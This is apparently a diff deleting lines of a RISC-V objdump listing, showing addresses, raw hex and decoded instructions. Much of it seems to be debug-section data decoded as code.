-     23a:	93620493          	addi	s1,tp,-1738 # fffff936 <_heap_end+0x7fff1136>
-     23e:	6304                	flw	fs1,0(a4)
-     240:	238e0493          	addi	s1,t3,568 # 1d238 <__stack_size+0x1ca38>
-     244:	2040                	fld	fs0,128(s0)
-     246:	2392                	fld	ft7,256(sp)
-     248:	2040                	fld	fs0,128(s0)
-     24a:	0493000b          	0x493000b
-     24e:	9359                	srli	a4,a4,0x36
-     250:	6204                	flw	fs1,0(a2)
-     252:	93630493          	addi	s1,t1,-1738
-     256:	9204                	0x9204
-     258:	94204023          	0x94204023
-     25c:	08204023          	0x8204023
-     260:	9300                	0x9300
-     262:	6208                	flw	fa0,0(a2)
-     264:	93630493          	addi	s1,t1,-1738
-     268:	9404                	0x9404
-     26a:	96204023          	0x96204023
-     26e:	05204023          	0x5204023
-     272:	9300                	0x9300
-     274:	630c                	flw	fa1,0(a4)
-     276:	239c0493          	addi	s1,s8,569 # b239 <__stack_size+0xaa39>
-     27a:	2040                	fld	fs0,128(s0)
-     27c:	23c2                	fld	ft7,16(sp)
-     27e:	2040                	fld	fs0,128(s0)
-     280:	000c                	0xc
-     282:	9358                	0x9358
-     284:	5904                	lw	s1,48(a0)
-     286:	93620493          	addi	s1,tp,-1738 # fffff936 <_heap_end+0x7fff1136>
-     28a:	6304                	flw	fs1,0(a4)
-     28c:	23c20493          	addi	s1,tp,572 # 23c <__stack_size-0x5c4>
-     290:	2040                	fld	fs0,128(s0)
-     292:	23ca                	fld	ft7,144(sp)
-     294:	2040                	fld	fs0,128(s0)
-     296:	9358000b          	0x9358000b
-     29a:	5904                	lw	s1,48(a0)
-     29c:	93620493          	addi	s1,tp,-1738 # fffff936 <_heap_end+0x7fff1136>
-     2a0:	9304                	0x9304
-     2a2:	ca04                	sw	s1,16(a2)
-     2a4:	f8204023          	0xf8204023
-     2a8:	0a204023          	0xa204023
-     2ac:	9300                	0x9300
-     2ae:	5904                	lw	s1,48(a0)
-     2b0:	93620493          	addi	s1,tp,-1738 # fffff936 <_heap_end+0x7fff1136>
-     2b4:	9304                	0x9304
-     2b6:	f804                	fsw	fs1,48(s0)
-     2b8:	22204023          	0x22204023
-     2bc:	4024                	lw	s1,64(s0)
-     2be:	0c20                	addi	s0,sp,536
-     2c0:	5800                	lw	s0,48(s0)
-     2c2:	93590493          	addi	s1,s2,-1739
-     2c6:	6204                	flw	fs1,0(a2)
-     2c8:	93630493          	addi	s1,t1,-1738
-     2cc:	3004                	fld	fs1,32(s0)
-     2ce:	4024                	lw	s1,64(s0)
-     2d0:	6220                	flw	fs0,64(a2)
-     2d2:	4024                	lw	s1,64(s0)
-     2d4:	0c20                	addi	s0,sp,536
-     2d6:	5800                	lw	s0,48(s0)
-     2d8:	93590493          	addi	s1,s2,-1739
-     2dc:	6204                	flw	fs1,0(a2)
-     2de:	93630493          	addi	s1,t1,-1738
-     2e2:	6204                	flw	fs1,0(a2)
-     2e4:	4024                	lw	s1,64(s0)
-     2e6:	8220                	0x8220
-     2e8:	4024                	lw	s1,64(s0)
-     2ea:	0b20                	addi	s0,sp,408
-     2ec:	9300                	0x9300
-     2ee:	5904                	lw	s1,48(a0)
-     2f0:	93620493          	addi	s1,tp,-1738 # fffff936 <_heap_end+0x7fff1136>
-     2f4:	6304                	flw	fs1,0(a4)
-     2f6:	24820493          	addi	s1,tp,584 # 248 <__stack_size-0x5b8>
-     2fa:	2040                	fld	fs0,128(s0)
-     2fc:	25c6                	fld	fa1,80(sp)
-     2fe:	2040                	fld	fs0,128(s0)
-     300:	000c                	0xc
-     302:	9358                	0x9358
-     304:	5904                	lw	s1,48(a0)
-     306:	93620493          	addi	s1,tp,-1738 # fffff936 <_heap_end+0x7fff1136>
-     30a:	6304                	flw	fs1,0(a4)
-     30c:	25c60493          	addi	s1,a2,604 # b25c <__stack_size+0xaa5c>
-     310:	2040                	fld	fs0,128(s0)
-     312:	25c8                	fld	fa0,136(a1)
-     314:	2040                	fld	fs0,128(s0)
-     316:	0493000b          	0x493000b
-     31a:	9359                	srli	a4,a4,0x36
-     31c:	6204                	flw	fs1,0(a2)
-     31e:	93630493          	addi	s1,t1,-1738
-     322:	c804                	sw	s1,16(s0)
-     324:	4025                	c.li	zero,9
-     326:	f420                	fsw	fs0,104(s0)
-     328:	4025                	c.li	zero,9
-     32a:	0a20                	addi	s0,sp,280
-     32c:	9300                	0x9300
-     32e:	5904                	lw	s1,48(a0)
-     330:	04930493          	addi	s1,t1,73
-     334:	f4049363          	bnez	s1,fffffa7a <_heap_end+0x7fff127a>
-     338:	4025                	c.li	zero,9
-     33a:	1220                	addi	s0,sp,296
-     33c:	4026                	0x4026
-     33e:	0520                	addi	s0,sp,648
-     340:	9300                	0x9300
-     342:	630c                	flw	fa1,0(a4)
-     344:	26400493          	li	s1,612
-     348:	2040                	fld	fs0,128(s0)
-     34a:	265c                	fld	fa5,136(a2)
-     34c:	2040                	fld	fs0,128(s0)
-     34e:	000c                	0xc
-     350:	9358                	0x9358
-     352:	5904                	lw	s1,48(a0)
-     354:	93620493          	addi	s1,tp,-1738 # fffff936 <_heap_end+0x7fff1136>
-     358:	6304                	flw	fs1,0(a4)
-     35a:	265c0493          	addi	s1,s8,613
-     35e:	2040                	fld	fs0,128(s0)
-     360:	2660                	fld	fs0,200(a2)
-     362:	2040                	fld	fs0,128(s0)
-     364:	0493000b          	0x493000b
-     368:	9359                	srli	a4,a4,0x36
-     36a:	6204                	flw	fs1,0(a2)
-     36c:	93630493          	addi	s1,t1,-1738
-     370:	6004                	flw	fs1,0(s0)
-     372:	4026                	0x4026
-     374:	6220                	flw	fs0,64(a2)
-     376:	4026                	0x4026
-     378:	0820                	addi	s0,sp,24
-     37a:	9300                	0x9300
-     37c:	6208                	flw	fa0,0(a2)
-     37e:	93630493          	addi	s1,t1,-1738
-     382:	6204                	flw	fs1,0(a2)
-     384:	4026                	0x4026
-     386:	6420                	flw	fs0,72(s0)
-     388:	4026                	0x4026
-     38a:	0520                	addi	s0,sp,648
-     38c:	9300                	0x9300
-     38e:	630c                	flw	fa1,0(a4)
-     390:	266a0493          	addi	s1,s4,614
-     394:	2040                	fld	fs0,128(s0)
-     396:	2692                	fld	fa3,256(sp)
-     398:	2040                	fld	fs0,128(s0)
-     39a:	000c                	0xc
-     39c:	9358                	0x9358
-     39e:	5904                	lw	s1,48(a0)
-     3a0:	93620493          	addi	s1,tp,-1738 # fffff936 <_heap_end+0x7fff1136>
-     3a4:	6304                	flw	fs1,0(a4)
-     3a6:	26920493          	addi	s1,tp,617 # 269 <__stack_size-0x597>
-     3aa:	2040                	fld	fs0,128(s0)
-     3ac:	2696                	fld	fa3,320(sp)
-     3ae:	2040                	fld	fs0,128(s0)
-     3b0:	0493000b          	0x493000b
-     3b4:	9359                	srli	a4,a4,0x36
-     3b6:	6204                	flw	fs1,0(a2)
-     3b8:	93630493          	addi	s1,t1,-1738
-     3bc:	9604                	0x9604
-     3be:	4026                	0x4026
-     3c0:	9820                	0x9820
-     3c2:	4026                	0x4026
-     3c4:	0820                	addi	s0,sp,24
-     3c6:	9300                	0x9300
-     3c8:	6208                	flw	fa0,0(a2)
-     3ca:	93630493          	addi	s1,t1,-1738
-     3ce:	9804                	0x9804
-     3d0:	4026                	0x4026
-     3d2:	9a20                	0x9a20
-     3d4:	4026                	0x4026
-     3d6:	0520                	addi	s0,sp,648
-     3d8:	9300                	0x9300
-     3da:	630c                	flw	fa1,0(a4)
-     3dc:	269e0493          	addi	s1,t3,617
-     3e0:	2040                	fld	fs0,128(s0)
-     3e2:	26f8                	fld	fa4,200(a3)
-     3e4:	2040                	fld	fs0,128(s0)
-     3e6:	000c                	0xc
-     3e8:	9358                	0x9358
-     3ea:	5904                	lw	s1,48(a0)
-     3ec:	93620493          	addi	s1,tp,-1738 # fffff936 <_heap_end+0x7fff1136>
-     3f0:	6304                	flw	fs1,0(a4)
-     3f2:	00000493          	li	s1,0
-     3f6:	0000                	unimp
-     3f8:	0000                	unimp
-     3fa:	0000                	unimp
-     3fc:	2356                	fld	ft6,336(sp)
-     3fe:	2040                	fld	fs0,128(s0)
-     400:	2368                	fld	fa0,192(a4)
-     402:	2040                	fld	fs0,128(s0)
-     404:	0002                	c.slli64	zero
-     406:	9f30                	0x9f30
-     408:	2368                	fld	fa0,192(a4)
-     40a:	2040                	fld	fs0,128(s0)
-     40c:	236c                	fld	fa1,192(a4)
-     40e:	2040                	fld	fs0,128(s0)
-     410:	0001                	nop
-     412:	005c                	addi	a5,sp,4
-     414:	0000                	unimp
-     416:	0000                	unimp
-     418:	0000                	unimp
-     41a:	6400                	flw	fs0,8(s0)
-     41c:	6c204023          	0x6c204023
-     420:	01204023          	0x1204023
-     424:	5a00                	lw	s0,48(a2)
-	...
-     42e:	23c2                	fld	ft7,16(sp)
-     430:	2040                	fld	fs0,128(s0)
-     432:	23c4                	fld	fs1,128(a5)
-     434:	2040                	fld	fs0,128(s0)
-     436:	0001                	nop
-     438:	c45a                	sw	s6,8(sp)
-     43a:	f8204023          	0xf8204023
-     43e:	01204023          	0x1204023
-     442:	6300                	flw	fs0,0(a4)
-	...
-     44c:	23ca                	fld	ft7,144(sp)
-     44e:	2040                	fld	fs0,128(s0)
-     450:	23f8                	fld	fa4,192(a5)
-     452:	2040                	fld	fs0,128(s0)
-     454:	0001                	nop
-     456:	0058                	addi	a4,sp,4
-     458:	0000                	unimp
-     45a:	0000                	unimp
-     45c:	0000                	unimp
-     45e:	1e00                	addi	s0,sp,816
-     460:	4024                	lw	s1,64(s0)
-     462:	2220                	fld	fs0,64(a2)
-     464:	4024                	lw	s1,64(s0)
-     466:	0120                	addi	s0,sp,136
-     468:	5a00                	lw	s0,48(a2)
-	...
-     472:	256a                	fld	fa0,152(sp)
-     474:	2040                	fld	fs0,128(s0)
-     476:	2570                	fld	fa2,200(a0)
-     478:	2040                	fld	fs0,128(s0)
-     47a:	0001                	nop
-     47c:	705a                	flw	ft0,180(sp)
-     47e:	4025                	c.li	zero,9
-     480:	9620                	0x9620
-     482:	4025                	c.li	zero,9
-     484:	0120                	addi	s0,sp,136
-     486:	5f00                	lw	s0,56(a4)
-	...
-     490:	2578                	fld	fa4,200(a0)
-     492:	2040                	fld	fs0,128(s0)
-     494:	2588                	fld	fa0,8(a1)
-     496:	2040                	fld	fs0,128(s0)
-     498:	0001                	nop
-     49a:	005a                	c.slli	zero,0x16
-     49c:	0000                	unimp
-     49e:	0000                	unimp
-     4a0:	0000                	unimp
-     4a2:	7c00                	flw	fs0,56(s0)
-     4a4:	4025                	c.li	zero,9
-     4a6:	9620                	0x9620
-     4a8:	4025                	c.li	zero,9
-     4aa:	0120                	addi	s0,sp,136
-     4ac:	5b00                	lw	s0,48(a4)
-	...
-     4b6:	2580                	fld	fs0,8(a1)
-     4b8:	2040                	fld	fs0,128(s0)
-     4ba:	2596                	fld	fa1,320(sp)
-     4bc:	2040                	fld	fs0,128(s0)
-     4be:	0001                	nop
-     4c0:	005c                	addi	a5,sp,4
-     4c2:	0000                	unimp
-     4c4:	0000                	unimp
-     4c6:	0000                	unimp
-     4c8:	b800                	fsd	fs0,48(s0)
-     4ca:	4025                	c.li	zero,9
-     4cc:	be20                	fsd	fs0,120(a2)
-     4ce:	4025                	c.li	zero,9
-     4d0:	0720                	addi	s0,sp,904
-     4d2:	7a00                	flw	fs0,48(a2)
-     4d4:	f700                	fsw	fs0,40(a4)
-     4d6:	f730                	fsw	fa2,104(a4)
-     4d8:	9f29                	0x9f29
-     4da:	25be                	fld	fa1,456(sp)
-     4dc:	2040                	fld	fs0,128(s0)
-     4de:	25d9                	jal	ba4 <__stack_size+0x3a4>
-     4e0:	2040                	fld	fs0,128(s0)
-     4e2:	007e0007          	0x7e0007
-     4e6:	29f730f7          	0x29f730f7
-     4ea:	009f 0000 0000      	0x9f
-     4f0:	0000                	unimp
-     4f2:	c800                	sw	s0,16(s0)
-     4f4:	4025                	c.li	zero,9
-     4f6:	d620                	sw	s0,104(a2)
-     4f8:	4025                	c.li	zero,9
-     4fa:	0620                	addi	s0,sp,776
-     4fc:	5a00                	lw	s0,48(a2)
-     4fe:	93580493          	addi	s1,a6,-1739 # 1c935 <__stack_size+0x1c135>
-     502:	d604                	sw	s1,40(a2)
-     504:	4025                	c.li	zero,9
-     506:	1020                	addi	s0,sp,40
-     508:	4026                	0x4026
-     50a:	0620                	addi	s0,sp,776
-     50c:	6200                	flw	fs0,0(a2)
-     50e:	93580493          	addi	s1,a6,-1739
-     512:	0004                	0x4
-     514:	0000                	unimp
-     516:	0000                	unimp
-     518:	0000                	unimp
-     51a:	e600                	fsw	fs0,8(a2)
-     51c:	4025                	c.li	zero,9
-     51e:	f820                	fsw	fs0,112(s0)
-     520:	4025                	c.li	zero,9
-     522:	0620                	addi	s0,sp,776
-     524:	5e00                	lw	s0,56(a2)
-     526:	935f0493          	addi	s1,t5,-1739 # 1a935 <__stack_size+0x1a135>
-     52a:	0004                	0x4
-     52c:	0000                	unimp
-     52e:	0000                	unimp
-     530:	0000                	unimp
-     532:	d000                	sw	s0,32(s0)
-     534:	4026                	0x4026
-     536:	de20                	sw	s0,120(a2)
-     538:	4026                	0x4026
-     53a:	0120                	addi	s0,sp,136
-     53c:	5a00                	lw	s0,48(a2)
-     53e:	26de                	fld	fa3,464(sp)
-     540:	2040                	fld	fs0,128(s0)
-     542:	26e2                	fld	fa3,24(sp)
-     544:	2040                	fld	fs0,128(s0)
-     546:	0001                	nop
-     548:	005c                	addi	a5,sp,4
-     54a:	0000                	unimp
-     54c:	0000                	unimp
-     54e:	0000                	unimp
-     550:	de00                	sw	s0,56(a2)
-     552:	4026                	0x4026
-     554:	ec20                	fsw	fs0,88(s0)
-     556:	4026                	0x4026
-     558:	0120                	addi	s0,sp,136
-     55a:	5a00                	lw	s0,48(a2)
-	...
-     564:	21c8                	fld	fa0,128(a1)
-     566:	2040                	fld	fs0,128(s0)
-     568:	221e                	fld	ft4,448(sp)
-     56a:	2040                	fld	fs0,128(s0)
-     56c:	0002                	c.slli64	zero
-     56e:	9f31                	0x9f31
-     570:	221e                	fld	ft4,448(sp)
-     572:	2040                	fld	fs0,128(s0)
-     574:	2266                	fld	ft4,88(sp)
-     576:	2040                	fld	fs0,128(s0)
-     578:	0001                	nop
-     57a:	7e58                	flw	fa4,60(a2)
-     57c:	4022                	0x4022
-     57e:	ec20                	fsw	fs0,88(s0)
-     580:	4022                	0x4022
-     582:	0120                	addi	s0,sp,136
-     584:	5800                	lw	s0,48(s0)
-	...
-     58e:	206c                	fld	fa1,192(s0)
-     590:	2040                	fld	fs0,128(s0)
-     592:	20c4                	fld	fs1,128(s1)
-     594:	2040                	fld	fs0,128(s0)
-     596:	000a                	c.slli	zero,0x2
-     598:	089e                	slli	a7,a7,0x7
-	...
-     5a2:	20c4                	fld	fs1,128(s1)
-     5a4:	2040                	fld	fs0,128(s0)
-     5a6:	215e                	fld	ft2,464(sp)
-     5a8:	2040                	fld	fs0,128(s0)
-     5aa:	0006                	c.slli	zero,0x1
-     5ac:	9362                	add	t1,t1,s8
-     5ae:	6304                	flw	fs1,0(a4)
-     5b0:	216c0493          	addi	s1,s8,534
-     5b4:	2040                	fld	fs0,128(s0)
-     5b6:	21c8                	fld	fa0,128(a1)
-     5b8:	2040                	fld	fs0,128(s0)
-     5ba:	0006                	c.slli	zero,0x1
-     5bc:	9362                	add	t1,t1,s8
-     5be:	6304                	flw	fs1,0(a4)
-     5c0:	00000493          	li	s1,0
-     5c4:	0000                	unimp
-     5c6:	0000                	unimp
-     5c8:	0000                	unimp
-     5ca:	20c0                	fld	fs0,128(s1)
-     5cc:	2040                	fld	fs0,128(s0)
-     5ce:	215e                	fld	ft2,464(sp)
-     5d0:	2040                	fld	fs0,128(s0)
-     5d2:	0001                	nop
-     5d4:	6c62                	flw	fs8,24(sp)
-     5d6:	4021                	c.li	zero,8
-     5d8:	c820                	sw	s0,80(s0)
-     5da:	4021                	c.li	zero,8
-     5dc:	0120                	addi	s0,sp,136
-     5de:	6200                	flw	fs0,0(a2)
-	...
-     5e8:	20c4                	fld	fs1,128(s1)
-     5ea:	2040                	fld	fs0,128(s0)
-     5ec:	2160                	fld	fs0,192(a0)
-     5ee:	2040                	fld	fs0,128(s0)
-     5f0:	0001                	nop
-     5f2:	40216c63          	bltu	sp,sp,a0a <__stack_size+0x20a>
-     5f6:	c820                	sw	s0,80(s0)
-     5f8:	4021                	c.li	zero,8
-     5fa:	0120                	addi	s0,sp,136
-     5fc:	6300                	flw	fs0,0(a4)
-	...
-     606:	20d2                	fld	ft1,272(sp)
-     608:	2040                	fld	fs0,128(s0)
-     60a:	2116                	fld	ft2,320(sp)
-     60c:	2040                	fld	fs0,128(s0)
-     60e:	0001                	nop
-     610:	005a                	c.slli	zero,0x16
-     612:	0000                	unimp
-     614:	0000                	unimp
-     616:	0000                	unimp
-     618:	0e00                	addi	s0,sp,784
-     61a:	4021                	c.li	zero,8
-     61c:	2e20                	fld	fs0,88(a2)
-     61e:	4021                	c.li	zero,8
-     620:	0220                	addi	s0,sp,264
-     622:	3000                	fld	fs0,32(s0)
-     624:	2e9f 4021 4a20      	0x4a2040212e9f
-     62a:	4021                	c.li	zero,8
-     62c:	0120                	addi	s0,sp,136
-     62e:	5800                	lw	s0,48(s0)
-     630:	216c                	fld	fa1,192(a0)
-     632:	2040                	fld	fs0,128(s0)
-     634:	2180                	fld	fs0,0(a1)
-     636:	2040                	fld	fs0,128(s0)
-     638:	0002                	c.slli64	zero
-     63a:	9f30                	0x9f30
-     63c:	2180                	fld	fs0,0(a1)
-     63e:	2040                	fld	fs0,128(s0)
-     640:	2186                	fld	ft3,64(sp)
-     642:	2040                	fld	fs0,128(s0)
-     644:	0001                	nop
-     646:	8658                	0x8658
-     648:	4021                	c.li	zero,8
-     64a:	a420                	fsd	fs0,72(s0)
-     64c:	4021                	c.li	zero,8
-     64e:	0220                	addi	s0,sp,264
-     650:	3000                	fld	fs0,32(s0)
-     652:	a49f 4021 bc20      	0xbc204021a49f
-     658:	4021                	c.li	zero,8
-     65a:	0120                	addi	s0,sp,136
-     65c:	5800                	lw	s0,48(s0)
-     65e:	21bc                	fld	fa5,64(a1)
-     660:	2040                	fld	fs0,128(s0)
-     662:	21c8                	fld	fa0,128(a1)
-     664:	2040                	fld	fs0,128(s0)
-     666:	0002                	c.slli64	zero
-     668:	9f30                	0x9f30
-	...
-     672:	210e                	fld	ft2,192(sp)
-     674:	2040                	fld	fs0,128(s0)
-     676:	2130                	fld	fa2,64(a0)
-     678:	2040                	fld	fs0,128(s0)
-     67a:	0002                	c.slli64	zero
-     67c:	9f30                	0x9f30
-     67e:	2130                	fld	fa2,64(a0)
-     680:	2040                	fld	fs0,128(s0)
-     682:	214a                	fld	ft2,144(sp)
-     684:	2040                	fld	fs0,128(s0)
-     686:	0001                	nop
-     688:	6c66                	flw	fs8,88(sp)
-     68a:	4021                	c.li	zero,8
-     68c:	8420                	0x8420
-     68e:	4021                	c.li	zero,8
-     690:	0220                	addi	s0,sp,264
-     692:	3000                	fld	fs0,32(s0)
-     694:	849f 4021 8620      	0x86204021849f
-     69a:	4021                	c.li	zero,8
-     69c:	0120                	addi	s0,sp,136
-     69e:	6600                	flw	fs0,8(a2)
-     6a0:	2186                	fld	ft3,64(sp)
-     6a2:	2040                	fld	fs0,128(s0)
-     6a4:	21b2                	fld	ft3,264(sp)
-     6a6:	2040                	fld	fs0,128(s0)
-     6a8:	0002                	c.slli64	zero
-     6aa:	9f30                	0x9f30
-     6ac:	21b2                	fld	ft3,264(sp)
-     6ae:	2040                	fld	fs0,128(s0)
-     6b0:	21bc                	fld	fa5,64(a1)
-     6b2:	2040                	fld	fs0,128(s0)
-     6b4:	0001                	nop
-     6b6:	bc66                	fsd	fs9,56(sp)
-     6b8:	4021                	c.li	zero,8
-     6ba:	c820                	sw	s0,80(s0)
-     6bc:	4021                	c.li	zero,8
-     6be:	0220                	addi	s0,sp,264
-     6c0:	3000                	fld	fs0,32(s0)
-     6c2:	009f 0000 0000      	0x9f
-     6c8:	0000                	unimp
-     6ca:	9200                	0x9200
-     6cc:	4021                	c.li	zero,8
-     6ce:	a620                	fsd	fs0,72(a2)
-     6d0:	4021                	c.li	zero,8
-     6d2:	0120                	addi	s0,sp,136
-     6d4:	6600                	flw	fs0,8(a2)
-     6d6:	21a6                	fld	ft3,72(sp)
-     6d8:	2040                	fld	fs0,128(s0)
-     6da:	21b0                	fld	fa2,64(a1)
-     6dc:	2040                	fld	fs0,128(s0)
-     6de:	7d860003          	lb	zero,2008(a2)
-     6e2:	b09f 4021 bc20      	0xbc204021b09f
-     6e8:	4021                	c.li	zero,8
-     6ea:	0320                	addi	s0,sp,392
-     6ec:	7f00                	flw	fs0,56(a4)
-     6ee:	9f7e                	add	t5,t5,t6
-     6f0:	21bc                	fld	fa5,64(a1)
-     6f2:	2040                	fld	fs0,128(s0)
-     6f4:	21c4                	fld	fs1,128(a1)
-     6f6:	2040                	fld	fs0,128(s0)
-     6f8:	0001                	nop
-     6fa:	0066                	c.slli	zero,0x19
-     6fc:	0000                	unimp
-     6fe:	0000                	unimp
-     700:	0000                	unimp
-     702:	9c00                	0x9c00
-     704:	4021                	c.li	zero,8
-     706:	a620                	fsd	fs0,72(a2)
-     708:	4021                	c.li	zero,8
-     70a:	0920                	addi	s0,sp,152
-     70c:	3100                	fld	fs0,32(a0)
-     70e:	0386                	slli	t2,t2,0x1
-     710:	f724                	fsw	fs1,104(a4)
-     712:	f730                	fsw	fa2,104(a4)
-     714:	9f29                	0x9f29
-     716:	21a6                	fld	ft3,72(sp)
-     718:	2040                	fld	fs0,128(s0)
-     71a:	21b0                	fld	fa2,64(a1)
-     71c:	2040                	fld	fs0,128(s0)
-     71e:	0009                	c.nop	2
-     720:	8631                	srai	a2,a2,0xc
-     722:	2400                	fld	fs0,8(s0)
-     724:	29f730f7          	0x29f730f7
-     728:	b09f 4021 bc20      	0xbc204021b09f
-     72e:	4021                	c.li	zero,8
-     730:	0920                	addi	s0,sp,152
-     732:	3100                	fld	fs0,32(a0)
-     734:	017f                	0x17f
-     736:	f724                	fsw	fs1,104(a4)
-     738:	f730                	fsw	fa2,104(a4)
-     73a:	9f29                	0x9f29
-	...
-     744:	1e06                	slli	t3,t3,0x21
-     746:	2040                	fld	fs0,128(s0)
-     748:	1e54                	addi	a3,sp,820
-     74a:	2040                	fld	fs0,128(s0)
-     74c:	f8910003          	lb	zero,-119(sp)
-     750:	547e                	lw	s0,252(sp)
-     752:	401e                	0x401e
-     754:	5620                	lw	s0,104(a2)
-     756:	401e                	0x401e
-     758:	0220                	addi	s0,sp,264
-     75a:	7b00                	flw	fs0,48(a4)
-     75c:	5600                	lw	s0,40(a2)
-     75e:	401e                	0x401e
-     760:	6a20                	flw	fs0,80(a2)
-     762:	401e                	0x401e
-     764:	0320                	addi	s0,sp,392
-     766:	9100                	0x9100
-     768:	7ef8                	flw	fa4,124(a3)
-     76a:	1e6a                	slli	t3,t3,0x3a
-     76c:	2040                	fld	fs0,128(s0)
-     76e:	1e6c                	addi	a1,sp,828
-     770:	2040                	fld	fs0,128(s0)
-     772:	0002                	c.slli64	zero
-     774:	007f                	0x7f
-     776:	1e6c                	addi	a1,sp,828
-     778:	2040                	fld	fs0,128(s0)
-     77a:	1ea4                	addi	s1,sp,888
-     77c:	2040                	fld	fs0,128(s0)
-     77e:	f8910003          	lb	zero,-119(sp)
-     782:	a47e                	fsd	ft11,8(sp)
-     784:	401e                	0x401e
-     786:	a620                	fsd	fs0,72(a2)
-     788:	401e                	0x401e
-     78a:	0220                	addi	s0,sp,264
-     78c:	7f00                	flw	fs0,56(a4)
-     78e:	a600                	fsd	fs0,8(a2)
-     790:	401e                	0x401e
-     792:	c620                	sw	s0,72(a2)
-     794:	401e                	0x401e
-     796:	0320                	addi	s0,sp,392
-     798:	9100                	0x9100
-     79a:	7ef8                	flw	fa4,124(a3)
-     79c:	1ec6                	slli	t4,t4,0x31
-     79e:	2040                	fld	fs0,128(s0)
-     7a0:	1ed5                	addi	t4,t4,-11
-     7a2:	2040                	fld	fs0,128(s0)
-     7a4:	0002                	c.slli64	zero
-     7a6:	007a                	c.slli	zero,0x1e
-     7a8:	1ed5                	addi	t4,t4,-11
-     7aa:	2040                	fld	fs0,128(s0)
-     7ac:	206a                	fld	ft0,152(sp)
-     7ae:	2040                	fld	fs0,128(s0)
-     7b0:	f8910003          	lb	zero,-119(sp)
-     7b4:	6a7e                	flw	fs4,220(sp)
-     7b6:	4020                	lw	s0,64(s0)
-     7b8:	6c20                	flw	fs0,88(s0)
-     7ba:	4020                	lw	s0,64(s0)
-     7bc:	0320                	addi	s0,sp,392
-     7be:	7200                	flw	fs0,32(a2)
-     7c0:	7ef8                	flw	fa4,124(a3)
-	...
-     7ca:	1e06                	slli	t3,t3,0x21
-     7cc:	2040                	fld	fs0,128(s0)
-     7ce:	1e22                	slli	t3,t3,0x28
-     7d0:	2040                	fld	fs0,128(s0)
-     7d2:	a4910003          	lb	zero,-1463(sp)
-     7d6:	227f                	0x227f
-     7d8:	401e                	0x401e
-     7da:	0c20                	addi	s0,sp,536
-     7dc:	401f 0220 8300      	0x83000220401f
-     7e2:	0c00                	addi	s0,sp,528
-     7e4:	401f 6a20 4020      	0x40206a20401f
-     7ea:	0320                	addi	s0,sp,392
-     7ec:	9100                	0x9100
-     7ee:	7fa4                	flw	fs1,120(a5)
-     7f0:	206a                	fld	ft0,152(sp)
-     7f2:	2040                	fld	fs0,128(s0)
-     7f4:	206c                	fld	fa1,192(s0)
-     7f6:	2040                	fld	fs0,128(s0)
-     7f8:	a4720003          	lb	zero,-1465(tp) # fffffa47 <_heap_end+0x7fff1247>
-     7fc:	007f                	0x7f
-     7fe:	0000                	unimp
-     800:	0000                	unimp
-     802:	0000                	unimp
-     804:	6c00                	flw	fs0,24(s0)
-     806:	401e                	0x401e
-     808:	8720                	0x8720
-     80a:	401e                	0x401e
-     80c:	0120                	addi	s0,sp,136
-     80e:	5c00                	lw	s0,56(s0)
-	...
-     818:	1e90                	addi	a2,sp,880
-     81a:	2040                	fld	fs0,128(s0)
-     81c:	1f0a                	slli	t5,t5,0x22
-     81e:	2040                	fld	fs0,128(s0)
-     820:	0001                	nop
-     822:	0059                	c.nop	22
-     824:	0000                	unimp
-     826:	0000                	unimp
-     828:	0000                	unimp
-     82a:	f400                	fsw	fs0,40(s0)
-     82c:	401e                	0x401e
-     82e:	0520                	addi	s0,sp,648
-     830:	401f 0220 8300      	0x83000220401f
-     836:	0800                	addi	s0,sp,16
-     838:	401f 5820 401f      	0x401f5820401f
-     83e:	0120                	addi	s0,sp,136
-     840:	5800                	lw	s0,48(s0)
-	...
-     84a:	1ef4                	addi	a3,sp,892
-     84c:	2040                	fld	fs0,128(s0)
-     84e:	1f05                	addi	t5,t5,-31
-     850:	2040                	fld	fs0,128(s0)
-     852:	b8910003          	lb	zero,-1143(sp)
-     856:	0a7f                	0xa7f
-     858:	401f 6220 401f      	0x401f6220401f
-     85e:	0120                	addi	s0,sp,136
-     860:	5900                	lw	s0,48(a0)
-	...
-     86a:	1ef4                	addi	a3,sp,892
-     86c:	2040                	fld	fs0,128(s0)
-     86e:	1f05                	addi	t5,t5,-31
-     870:	2040                	fld	fs0,128(s0)
-     872:	0002                	c.slli64	zero
-     874:	4c91                	li	s9,4
-     876:	1f0c                	addi	a1,sp,944
-     878:	2040                	fld	fs0,128(s0)
-     87a:	1f86                	slli	t6,t6,0x21
-     87c:	2040                	fld	fs0,128(s0)
-     87e:	0001                	nop
-     880:	00000063          	beqz	zero,880 <__stack_size+0x80>
-     884:	0000                	unimp
-     886:	0000                	unimp
-     888:	4200                	lw	s0,0(a2)
-     88a:	401f 4a20 401f      	0x401f4a20401f
-     890:	0720                	addi	s0,sp,904
-     892:	7a00                	flw	fs0,48(a2)
-     894:	0a00                	addi	s0,sp,272
-     896:	ffff                	0xffff
-     898:	9f1a                	add	t5,t5,t1
-     89a:	1f4a                	slli	t5,t5,0x32
-     89c:	2040                	fld	fs0,128(s0)
-     89e:	2066                	fld	ft0,88(sp)
-     8a0:	2040                	fld	fs0,128(s0)
-     8a2:	00860007          	0x860007
-     8a6:	ff0a                	fsw	ft2,188(sp)
-     8a8:	1aff                	0x1aff
-     8aa:	009f 0000 0000      	0x9f
-     8b0:	0000                	unimp
-     8b2:	4e00                	lw	s0,24(a2)
-     8b4:	401f 5620 401f      	0x401f5620401f
-     8ba:	0520                	addi	s0,sp,648
-     8bc:	7a00                	flw	fs0,48(a2)
-     8be:	4000                	lw	s0,0(s0)
-     8c0:	9f25                	0x9f25
-     8c2:	1f56                	slli	t5,t5,0x35
-     8c4:	2040                	fld	fs0,128(s0)
-     8c6:	201c                	fld	fa5,0(s0)
-     8c8:	2040                	fld	fs0,128(s0)
-     8ca:	0005                	c.nop	1
-     8cc:	25400087          	0x25400087
-     8d0:	1c9f 4020 2b20      	0x2b2040201c9f
-     8d6:	4020                	lw	s0,64(s0)
-     8d8:	0120                	addi	s0,sp,136
-     8da:	5c00                	lw	s0,56(s0)
-     8dc:	2040202b          	0x2040202b
-     8e0:	2068                	fld	fa0,192(s0)
-     8e2:	2040                	fld	fs0,128(s0)
-     8e4:	0005                	c.nop	1
-     8e6:	25400087          	0x25400087
-     8ea:	009f 0000 0000      	0x9f
-     8f0:	0000                	unimp
-     8f2:	5800                	lw	s0,48(s0)
-     8f4:	401f 3020 4020      	0x40203020401f
-     8fa:	0720                	addi	s0,sp,904
-     8fc:	7800                	flw	fs0,48(s0)
-     8fe:	0a00                	addi	s0,sp,272
-     900:	ffff                	0xffff
-     902:	9f1a                	add	t5,t5,t1
-	...
